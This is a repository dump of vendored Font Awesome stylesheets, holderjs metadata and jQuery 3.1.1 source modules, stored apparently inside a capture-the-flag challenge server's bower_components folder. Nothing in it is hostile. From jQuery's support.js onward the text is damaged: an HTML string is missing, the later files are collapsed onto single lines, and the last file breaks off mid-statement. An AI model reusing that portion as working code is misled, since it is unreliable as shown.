 4 | .@{fa-css-prefix} {
 5 |   display: inline-block;
 6 |   font: normal normal normal 14px/1 FontAwesome; // shortening font declaration
 7 |   font-size: inherit; // can't have font-size inherit on line above, so need to override
 8 |   text-rendering: auto; // optimizelegibility throws things off #1094
 9 |   -webkit-font-smoothing: antialiased;
10 |   -moz-osx-font-smoothing: grayscale;
11 | }
12 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/extras.less:
--------------------------------------------------------------------------------
1 | // Extras
2 | // --------------------------
3 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/fixed-width.less:
--------------------------------------------------------------------------------
1 | // Fixed Width Icons
2 | // -------------------------
3 | .@{fa-css-prefix}-fw {
4 |   width: (18em / 14);
5 |   text-align: center;
6 | }
7 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/font-awesome.less:
--------------------------------------------------------------------------------
 1 | /*!
 2 |  *  Font Awesome 4.2.0 by @davegandy - http://fontawesome.io - @fontawesome
 3 |  *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
 4 |  */
 5 | 
 6 | @import "variables.less";
 7 | @import "mixins.less";
 8 | @import "path.less";
 9 | @import "core.less";
10 | @import "larger.less";
11 | @import "fixed-width.less";
12 | @import "list.less";
13 | @import "bordered-pulled.less";
14 | @import "spinning.less";
15 | @import "rotated-flipped.less";
16 | @import "stacked.less";
17 | @import "icons.less";
18 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/larger.less:
--------------------------------------------------------------------------------
 1 | // Icon Sizes
 2 | // -------------------------
 3 | 
 4 | /* makes the font 33% larger relative to the icon container */
 5 | .@{fa-css-prefix}-lg {
 6 |   font-size: (4em / 3);
 7 |   line-height: (3em / 4);
 8 |   vertical-align: -15%;
 9 | }
10 | .@{fa-css-prefix}-2x { font-size: 2em; }
11 | .@{fa-css-prefix}-3x { font-size: 3em; }
12 | .@{fa-css-prefix}-4x { font-size: 4em; }
13 | .@{fa-css-prefix}-5x { font-size: 5em; }
14 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/list.less:
--------------------------------------------------------------------------------
 1 | // List Icons
 2 | // -------------------------
 3 | 
 4 | .@{fa-css-prefix}-ul {
 5 |   padding-left: 0;
 6 |   margin-left: @fa-li-width;
 7 |   list-style-type: none;
 8 |   > li { position: relative; }
 9 | }
10 | .@{fa-css-prefix}-li {
11 |   position: absolute;
12 |   left: -@fa-li-width;
13 |   width: @fa-li-width;
14 |   top: (2em / 14);
15 |   text-align: center;
16 |   &.@{fa-css-prefix}-lg {
17 |     left: (-@fa-li-width + (4em / 14));
18 |   }
19 | }
20 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/path.less:
--------------------------------------------------------------------------------
 1 | /* FONT PATH
 2 |  * -------------------------- */
 3 | 
 4 | @font-face {
 5 |   font-family: 'FontAwesome';
 6 |   src: url('@{fa-font-path}/fontawesome-webfont.eot?v=@{fa-version}');
 7 |   src: url('@{fa-font-path}/fontawesome-webfont.eot?#iefix&v=@{fa-version}') format('embedded-opentype'),
 8 |     url('@{fa-font-path}/fontawesome-webfont.woff?v=@{fa-version}') format('woff'),
 9 |     url('@{fa-font-path}/fontawesome-webfont.ttf?v=@{fa-version}') format('truetype'),
10 |     url('@{fa-font-path}/fontawesome-webfont.svg?v=@{fa-version}#fontawesomeregular') format('svg');
11 | //  src: url('@{fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts
12 |   font-weight: normal;
13 |   font-style: normal;
14 | }
15 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/rotated-flipped.less:
--------------------------------------------------------------------------------
 1 | // Rotated & Flipped Icons
 2 | // -------------------------
 3 | 
 4 | .@{fa-css-prefix}-rotate-90  { .fa-icon-rotate(90deg, 1);  }
 5 | .@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); }
 6 | .@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); }
 7 | 
 8 | .@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); }
 9 | .@{fa-css-prefix}-flip-vertical   { .fa-icon-flip(1, -1, 2); }
10 | 
11 | // Hook for IE8-9
12 | // -------------------------
13 | 
14 | :root .@{fa-css-prefix}-rotate-90,
15 | :root .@{fa-css-prefix}-rotate-180,
16 | :root .@{fa-css-prefix}-rotate-270,
17 | :root .@{fa-css-prefix}-flip-horizontal,
18 | :root .@{fa-css-prefix}-flip-vertical {
19 |   filter: none;
20 | }
21 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/spinning.less:
--------------------------------------------------------------------------------
 1 | // Spinning Icons
 2 | // --------------------------
 3 | 
 4 | .@{fa-css-prefix}-spin {
 5 |   -webkit-animation: fa-spin 2s infinite linear;
 6 |           animation: fa-spin 2s infinite linear;
 7 | }
 8 | 
 9 | @-webkit-keyframes fa-spin {
10 |   0% {
11 |     -webkit-transform: rotate(0deg);
12 |             transform: rotate(0deg);
13 |   }
14 |   100% {
15 |     -webkit-transform: rotate(359deg);
16 |             transform: rotate(359deg);
17 |   }
18 | }
19 | 
20 | @keyframes fa-spin {
21 |   0% {
22 |     -webkit-transform: rotate(0deg);
23 |             transform: rotate(0deg);
24 |   }
25 |   100% {
26 |     -webkit-transform: rotate(359deg);
27 |             transform: rotate(359deg);
28 |   }
29 | }
30 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/stacked.less:
--------------------------------------------------------------------------------
 1 | // Stacked Icons
 2 | // -------------------------
 3 | 
 4 | .@{fa-css-prefix}-stack {
 5 |   position: relative;
 6 |   display: inline-block;
 7 |   width: 2em;
 8 |   height: 2em;
 9 |   line-height: 2em;
10 |   vertical-align: middle;
11 | }
12 | .@{fa-css-prefix}-stack-1x, .@{fa-css-prefix}-stack-2x {
13 |   position: absolute;
14 |   left: 0;
15 |   width: 100%;
16 |   text-align: center;
17 | }
18 | .@{fa-css-prefix}-stack-1x { line-height: inherit; }
19 | .@{fa-css-prefix}-stack-2x { font-size: 2em; }
20 | .@{fa-css-prefix}-inverse { color: @fa-inverse; }
21 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_bordered-pulled.scss:
--------------------------------------------------------------------------------
 1 | // Bordered & Pulled
 2 | // -------------------------
 3 | 
 4 | .#{$fa-css-prefix}-border {
 5 |   padding: .2em .25em .15em;
 6 |   border: solid .08em $fa-border-color;
 7 |   border-radius: .1em;
 8 | }
 9 | 
10 | .pull-right { float: right; }
11 | .pull-left { float: left; }
12 | 
13 | .#{$fa-css-prefix} {
14 |   &.pull-left { margin-right: .3em; }
15 |   &.pull-right { margin-left: .3em; }
16 | }
17 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_core.scss:
--------------------------------------------------------------------------------
 1 | // Base Class Definition
 2 | // -------------------------
 3 | 
 4 | .#{$fa-css-prefix} {
 5 |   display: inline-block;
 6 |   font: normal normal normal 14px/1 FontAwesome; // shortening font declaration
 7 |   font-size: inherit; // can't have font-size inherit on line above, so need to override
 8 |   text-rendering: auto; // optimizelegibility throws things off #1094
 9 |   -webkit-font-smoothing: antialiased;
10 |   -moz-osx-font-smoothing: grayscale;
11 | }
12 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_fixed-width.scss:
--------------------------------------------------------------------------------
1 | // Fixed Width Icons
2 | // -------------------------
3 | .#{$fa-css-prefix}-fw {
4 |   width: (18em / 14);
5 |   text-align: center;
6 | }
7 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_larger.scss:
--------------------------------------------------------------------------------
 1 | // Icon Sizes
 2 | // -------------------------
 3 | 
 4 | /* makes the font 33% larger relative to the icon container */
 5 | .#{$fa-css-prefix}-lg {
 6 |   font-size: (4em / 3);
 7 |   line-height: (3em / 4);
 8 |   vertical-align: -15%;
 9 | }
10 | .#{$fa-css-prefix}-2x { font-size: 2em; }
11 | .#{$fa-css-prefix}-3x { font-size: 3em; }
12 | .#{$fa-css-prefix}-4x { font-size: 4em; }
13 | .#{$fa-css-prefix}-5x { font-size: 5em; }
14 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_list.scss:
--------------------------------------------------------------------------------
 1 | // List Icons
 2 | // -------------------------
 3 | 
 4 | .#{$fa-css-prefix}-ul {
 5 |   padding-left: 0;
 6 |   margin-left: $fa-li-width;
 7 |   list-style-type: none;
 8 |   > li { position: relative; }
 9 | }
10 | .#{$fa-css-prefix}-li {
11 |   position: absolute;
12 |   left: -$fa-li-width;
13 |   width: $fa-li-width;
14 |   top: (2em / 14);
15 |   text-align: center;
16 |   &.#{$fa-css-prefix}-lg {
17 |     left: -$fa-li-width + (4em / 14);
18 |   }
19 | }
20 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_path.scss:
--------------------------------------------------------------------------------
 1 | /* FONT PATH
 2 |  * -------------------------- */
 3 | 
 4 | @font-face {
 5 |   font-family: 'FontAwesome';
 6 |   src: url('#{$fa-font-path}/fontawesome-webfont.eot?v=#{$fa-version}');
 7 |   src: url('#{$fa-font-path}/fontawesome-webfont.eot?#iefix&v=#{$fa-version}') format('embedded-opentype'),
 8 |     url('#{$fa-font-path}/fontawesome-webfont.woff?v=#{$fa-version}') format('woff'),
 9 |     url('#{$fa-font-path}/fontawesome-webfont.ttf?v=#{$fa-version}') format('truetype'),
10 |     url('#{$fa-font-path}/fontawesome-webfont.svg?v=#{$fa-version}#fontawesomeregular') format('svg');
11 |   //src: url('#{$fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts
12 |   font-weight: normal;
13 |   font-style: normal;
14 | }
15 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_rotated-flipped.scss:
--------------------------------------------------------------------------------
 1 | // Rotated & Flipped Icons
 2 | // -------------------------
 3 | 
 4 | .#{$fa-css-prefix}-rotate-90  { @include fa-icon-rotate(90deg, 1);  }
 5 | .#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); }
 6 | .#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); }
 7 | 
 8 | .#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); }
 9 | .#{$fa-css-prefix}-flip-vertical   { @include fa-icon-flip(1, -1, 2); }
10 | 
11 | // Hook for IE8-9
12 | // -------------------------
13 | 
14 | :root .#{$fa-css-prefix}-rotate-90,
15 | :root .#{$fa-css-prefix}-rotate-180,
16 | :root .#{$fa-css-prefix}-rotate-270,
17 | :root .#{$fa-css-prefix}-flip-horizontal,
18 | :root .#{$fa-css-prefix}-flip-vertical {
19 |   filter: none;
20 | }
21 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_spinning.scss:
--------------------------------------------------------------------------------
 1 | // Spinning Icons
 2 | // --------------------------
 3 | 
 4 | .#{$fa-css-prefix}-spin {
 5 |   -webkit-animation: fa-spin 2s infinite linear;
 6 |           animation: fa-spin 2s infinite linear;
 7 | }
 8 | 
 9 | @-webkit-keyframes fa-spin {
10 |   0% {
11 |     -webkit-transform: rotate(0deg);
12 |             transform: rotate(0deg);
13 |   }
14 |   100% {
15 |     -webkit-transform: rotate(359deg);
16 |             transform: rotate(359deg);
17 |   }
18 | }
19 | 
20 | @keyframes fa-spin {
21 |   0% {
22 |     -webkit-transform: rotate(0deg);
23 |             transform: rotate(0deg);
24 |   }
25 |   100% {
26 |     -webkit-transform: rotate(359deg);
27 |             transform: rotate(359deg);
28 |   }
29 | }
30 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_stacked.scss:
--------------------------------------------------------------------------------
 1 | // Stacked Icons
 2 | // -------------------------
 3 | 
 4 | .#{$fa-css-prefix}-stack {
 5 |   position: relative;
 6 |   display: inline-block;
 7 |   width: 2em;
 8 |   height: 2em;
 9 |   line-height: 2em;
10 |   vertical-align: middle;
11 | }
12 | .#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x {
13 |   position: absolute;
14 |   left: 0;
15 |   width: 100%;
16 |   text-align: center;
17 | }
18 | .#{$fa-css-prefix}-stack-1x { line-height: inherit; }
19 | .#{$fa-css-prefix}-stack-2x { font-size: 2em; }
20 | .#{$fa-css-prefix}-inverse { color: $fa-inverse; }
21 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/font-awesome.scss:
--------------------------------------------------------------------------------
 1 | /*!
 2 |  *  Font Awesome 4.2.0 by @davegandy - http://fontawesome.io - @fontawesome
 3 |  *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
 4 |  */
 5 | 
 6 | @import "variables";
 7 | @import "mixins";
 8 | @import "path";
 9 | @import "core";
10 | @import "larger";
11 | @import "fixed-width";
12 | @import "list";
13 | @import "bordered-pulled";
14 | @import "spinning";
15 | @import "rotated-flipped";
16 | @import "stacked";
17 | @import "icons";
18 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/.bower.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "name": "holderjs",
 3 |   "main": "holder.js",
 4 |   "homepage": "https://github.com/imsky/holder",
 5 |   "version": "2.4.1",
 6 |   "_release": "2.4.1",
 7 |   "_resolution": {
 8 |     "type": "version",
 9 |     "tag": "v2.4.1",
10 |     "commit": "bd2e0be3c5c86afbdef1da092eb72c8ce7d52dce"
11 |   },
12 |   "_source": "https://github.com/imsky/holder.git",
13 |   "_target": "~2.4.1",
14 |   "_originalSource": "holderjs"
15 | }


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/.gitattributes:
--------------------------------------------------------------------------------
1 | # Automatically normalize line endings for all text-based files
2 | * text=auto
3 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules/
2 | todo.md
3 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/.jshintrc:
--------------------------------------------------------------------------------
 1 | {
 2 |   "quotmark": true,
 3 |   "boss": true,
 4 |   "eqnull": true,
 5 |   "expr": true,
 6 |   "funcscope": true,
 7 |   "loopfunc": true,
 8 |   "smarttabs": true,
 9 |   "node": true,
10 |   "browser": true
11 | }
12 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/bower.json:
--------------------------------------------------------------------------------
1 | {
2 |   "name": "holderjs",
3 |   "main": "holder.js"
4 | }
5 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/composer.json:
--------------------------------------------------------------------------------
 1 | {
 2 |     "name": "imsky/holder",
 3 |     "description": "Client-side image placeholders.",
 4 |     "homepage": "https://github.com/imsky/holder",
 5 |     "keywords": [
 6 |         "images",
 7 |         "placeholders",
 8 |         "client-side",
 9 |         "canvas",
10 |         "generation",
11 |         "development"
12 |     ],
13 |     "license": "MIT",
14 |     "type": "component",
15 |     "authors": [
16 |         {
17 |             "name": "Ivan Malopinsky",
18 |             "homepage": "http://imsky.co"
19 |         }
20 |     ],
21 |     "require": {
22 |         "robloach/component-installer": "*"
23 |     },
24 |     "extra": {
25 |         "component": {
26 |             "scripts": [
27 |                 "holder.js"
28 |             ],
29 |             "files": [
30 |                 "holder.min.js"
31 |             ]
32 |         }
33 |     }
34 | }
35 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/test/.gitignore:
--------------------------------------------------------------------------------
1 | performance.html
2 | benchmark.js
3 | lodash.js
4 | require.js
5 | test.js
6 | ua-parser.js


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/test/image.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/test/image.jpg


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/.bower.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "name": "jquery",
 3 |   "main": "dist/jquery.js",
 4 |   "license": "MIT",
 5 |   "ignore": [
 6 |     "package.json"
 7 |   ],
 8 |   "keywords": [
 9 |     "jquery",
10 |     "javascript",
11 |     "browser",
12 |     "library"
13 |   ],
14 |   "homepage": "https://github.com/jquery/jquery-dist",
15 |   "version": "3.1.1",
16 |   "_release": "3.1.1",
17 |   "_resolution": {
18 |     "type": "version",
19 |     "tag": "3.1.1",
20 |     "commit": "1b30f3ad466ebf2714d47eda34dbd7fdf6849fe3"
21 |   },
22 |   "_source": "https://github.com/jquery/jquery-dist.git",
23 |   "_target": ">= 1.2.6",
24 |   "_originalSource": "jquery"
25 | }


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/bower.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "name": "jquery",
 3 |   "main": "dist/jquery.js",
 4 |   "license": "MIT",
 5 |   "ignore": [
 6 |     "package.json"
 7 |   ],
 8 |   "keywords": [
 9 |     "jquery",
10 |     "javascript",
11 |     "browser",
12 |     "library"
13 |   ]
14 | }


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/.eslintrc.json:
--------------------------------------------------------------------------------
 1 | {
 2 | 	// Support: IE <=9 only, Android <=4.0 only
 3 | 	// The above browsers are failing a lot of tests in the ES5
 4 | 	// test suite at http://test262.ecmascript.org.
 5 | 	"parserOptions": {
 6 | 		"ecmaVersion": 3
 7 | 	},
 8 | 	"globals": {
 9 | 		"window": true,
10 | 		"jQuery": true,
11 | 		"define": true,
12 | 		"module": true,
13 | 		"noGlobal": true
14 | 	},
15 | 	"rules": {
16 | 		"strict": ["error", "function"]
17 | 	}
18 | }
19 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/ajax/parseXML.js:
--------------------------------------------------------------------------------
 1 | define( [
 2 | 	"../core"
 3 | ], function( jQuery ) {
 4 | 
 5 | "use strict";
 6 | 
 7 | // Cross-browser xml parsing
 8 | jQuery.parseXML = function( data ) {
 9 | 	var xml;
10 | 	if ( !data || typeof data !== "string" ) {
11 | 		return null;
12 | 	}
13 | 
14 | 	// Support: IE 9 - 11 only
15 | 	// IE throws on parseFromString with invalid input.
16 | 	try {
17 | 		xml = ( new window.DOMParser() ).parseFromString( data, "text/xml" );
18 | 	} catch ( e ) {
19 | 		xml = undefined;
20 | 	}
21 | 
22 | 	if ( !xml || xml.getElementsByTagName( "parsererror" ).length ) {
23 | 		jQuery.error( "Invalid XML: " + data );
24 | 	}
25 | 	return xml;
26 | };
27 | 
28 | return jQuery.parseXML;
29 | 
30 | } );
31 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/ajax/var/location.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | 	"use strict";
3 | 
4 | 	return window.location;
5 | } );
6 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/ajax/var/nonce.js:
--------------------------------------------------------------------------------
1 | define( [
2 | 	"../../core"
3 | ], function( jQuery ) {
4 | 	"use strict";
5 | 
6 | 	return jQuery.now();
7 | } );
8 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/ajax/var/rquery.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | 	"use strict";
3 | 
4 | 	return ( /\?/ );
5 | } );
6 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/attributes.js:
--------------------------------------------------------------------------------
 1 | define( [
 2 | 	"./core",
 3 | 	"./attributes/attr",
 4 | 	"./attributes/prop",
 5 | 	"./attributes/classes",
 6 | 	"./attributes/val"
 7 | ], function( jQuery ) {
 8 | 
 9 | "use strict";
10 | 
11 | // Return jQuery for attributes-only inclusion
12 | return jQuery;
13 | } );
14 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/attributes/support.js:
--------------------------------------------------------------------------------
 1 | define( [
 2 | 	"../var/document",
 3 | 	"../var/support"
 4 | ], function( document, support ) {
 5 | 
 6 | "use strict";
 7 | 
 8 | ( function() {
 9 | 	var input = document.createElement( "input" ),
10 | 		select = document.createElement( "select" ),
11 | 		opt = select.appendChild( document.createElement( "option" ) );
12 | 
13 | 	input.type = "checkbox";
14 | 
15 | 	// Support: Android <=4.3 only
16 | 	// Default value for a checkbox should be "on"
17 | 	support.checkOn = input.value !== "";
18 | 
19 | 	// Support: IE <=11 only
20 | 	// Must access selectedIndex to make default options select
21 | 	support.optSelected = opt.selected;
22 | 
23 | 	// Support: IE <=11 only
24 | 	// An input loses its value after becoming a radio
25 | 	input = document.createElement( "input" );
26 | 	input.value = "t";
27 | 	input.type = "radio";
28 | 	support.radioValue = input.value === "t";
29 | } )();
30 | 
31 | return support;
32 | 
33 | } );
34 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/core/DOMEval.js:
--------------------------------------------------------------------------------
 1 | define( [
 2 | 	"../var/document"
 3 | ], function( document ) {
 4 | 	"use strict";
 5 | 
 6 | 	function DOMEval( code, doc ) {
 7 | 		doc = doc || document;
 8 | 
 9 | 		var script = doc.createElement( "script" );
10 | 
11 | 		script.text = code;
12 | 		doc.head.appendChild( script ).parentNode.removeChild( script );
13 | 	}
14 | 
15 | 	return DOMEval;
16 | } );
17 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/core/readyException.js:
--------------------------------------------------------------------------------
 1 | define( [
 2 | 	"../core"
 3 | ], function( jQuery ) {
 4 | 
 5 | "use strict";
 6 | 
 7 | jQuery.readyException = function( error ) {
 8 | 	window.setTimeout( function() {
 9 | 		throw error;
10 | 	} );
11 | };
12 | 
13 | } );
14 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/core/stripAndCollapse.js:
--------------------------------------------------------------------------------
 1 | define( [
 2 | 	"../var/rnothtmlwhite"
 3 | ], function( rnothtmlwhite ) {
 4 | 	"use strict";
 5 | 
 6 | 	// Strip and collapse whitespace according to HTML spec
 7 | 	// https://html.spec.whatwg.org/multipage/infrastructure.html#strip-and-collapse-whitespace
 8 | 	function stripAndCollapse( value ) {
 9 | 		var tokens = value.match( rnothtmlwhite ) || [];
10 | 		return tokens.join( " " );
11 | 	}
12 | 
13 | 	return stripAndCollapse;
14 | } );
15 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/core/support.js:
--------------------------------------------------------------------------------
 1 | define( [
 2 | 	"../var/document",
 3 | 	"../var/support"
 4 | ], function( document, support ) {
 5 | 
 6 | "use strict";
 7 | 
 8 | // Support: Safari 8 only
 9 | // In Safari 8 documents created via document.implementation.createHTMLDocument
10 | // collapse sibling forms: the second one becomes a child of the first one.
11 | // Because of that, this security measure has to be disabled in Safari 8.
12 | // https://bugs.webkit.org/show_bug.cgi?id=137337
13 | support.createHTMLDocument = ( function() {
14 | 	var body = document.implementation.createHTMLDocument( "" ).body;
15 | 	body.innerHTML = "
"; 16 | return body.childNodes.length === 2; 17 | } )(); 18 | 19 | return support; 20 | } ); 21 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/core/var/rsingleTag.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | "use strict"; 3 | 4 | // Match a standalone tag 5 | return ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i ); 6 | } ); 7 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/css/addGetHookIf.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | 3 | "use strict"; 4 | 5 | function addGetHookIf( conditionFn, hookFn ) { 6 | 7 | // Define the hook, we'll check on the first run if it's really needed. 8 | return { 9 | get: function() { 10 | if ( conditionFn() ) { 11 | 12 | // Hook not needed (or it's not possible to use it due 13 | // to missing dependency), remove it. 14 | delete this.get; 15 | return; 16 | } 17 | 18 | // Hook needed; redefine it so that the support test is not executed again. 19 | return ( this.get = hookFn ).apply( this, arguments ); 20 | } 21 | }; 22 | } 23 | 24 | return addGetHookIf; 25 | 26 | } ); 27 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/css/hiddenVisibleSelectors.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../core", 3 | "../selector" 4 | ], function( jQuery ) { 5 | 6 | "use strict"; 7 | 8 | jQuery.expr.pseudos.hidden = function( elem ) { 9 | return !jQuery.expr.pseudos.visible( elem ); 10 | }; 11 | jQuery.expr.pseudos.visible = function( elem ) { 12 | return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length ); 13 | }; 14 | 15 | } ); 16 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/css/var/cssExpand.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | "use strict"; 3 | 4 | return [ "Top", "Right", "Bottom", "Left" ]; 5 | } ); 6 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/css/var/getStyles.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | "use strict"; 3 | 4 | return function( elem ) { 5 | 6 | // Support: IE <=11 only, Firefox <=30 (#15098, #14150) 7 | // IE throws on elements created in popups 8 | // FF meanwhile throws on frame elements through "defaultView.getComputedStyle" 9 | var view = elem.ownerDocument.defaultView; 10 | 11 | if ( !view || !view.opener ) { 12 | view = window; 13 | } 14 | 15 | return view.getComputedStyle( elem ); 16 | }; 17 | } ); 18 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/css/var/rmargin.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | "use strict"; 3 | 4 | return ( /^margin/ ); 5 | } ); 6 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/css/var/rnumnonpx.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../../var/pnum" 3 | ], function( pnum ) { 4 | "use strict"; 5 | 6 | return new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" ); 7 | } ); 8 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/css/var/swap.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | 3 | "use strict"; 4 | 5 | // A method for quickly swapping in/out CSS properties to get correct calculations. 6 | return function( elem, options, callback, args ) { 7 | var ret, name, 8 | old = {}; 9 | 10 | // Remember the old values, and insert the new ones 11 | for ( name in options ) { 12 | old[ name ] = elem.style[ name ]; 13 | elem.style[ name ] = options[ name ]; 14 | } 15 | 16 | ret = callback.apply( elem, args || [] ); 17 | 18 | // Revert the old values 19 | for ( name in options ) { 20 | elem.style[ name ] = old[ name ]; 21 | } 22 | 23 | return ret; 24 | }; 25 | 26 | } ); 27 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/data/var/acceptData.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | 3 | "use strict"; 4 | 5 | /** 6 | * Determines whether an object can have data 7 | */ 8 | return function( owner ) { 9 | 10 | // Accepts only: 11 | // - Node 12 | // - Node.ELEMENT_NODE 13 | // - Node.DOCUMENT_NODE 14 | // - Object 15 | // - Any 16 | return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType ); 17 | }; 18 | 19 | } ); 20 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/data/var/dataPriv.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../Data" 3 | ], function( Data ) { 4 | "use strict"; 5 | 6 | return new Data(); 7 | } ); 8 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/data/var/dataUser.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../Data" 3 | ], function( Data ) { 4 | "use strict"; 5 | 6 | return new Data(); 7 | } ); 8 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/deferred/exceptionHook.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../core", 3 | "../deferred" 4 | ], function( jQuery ) { 5 | 6 | "use strict"; 7 | 8 | // These usually indicate a programmer mistake during development, 9 | // warn about them ASAP rather than swallowing them by default. 10 | var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/; 11 | 12 | jQuery.Deferred.exceptionHook = function( error, stack ) { 13 | 14 | // Support: IE 8 - 9 only 15 | // Console exists when dev tools are open, which can happen at any time 16 | if ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) { 17 | window.console.warn( 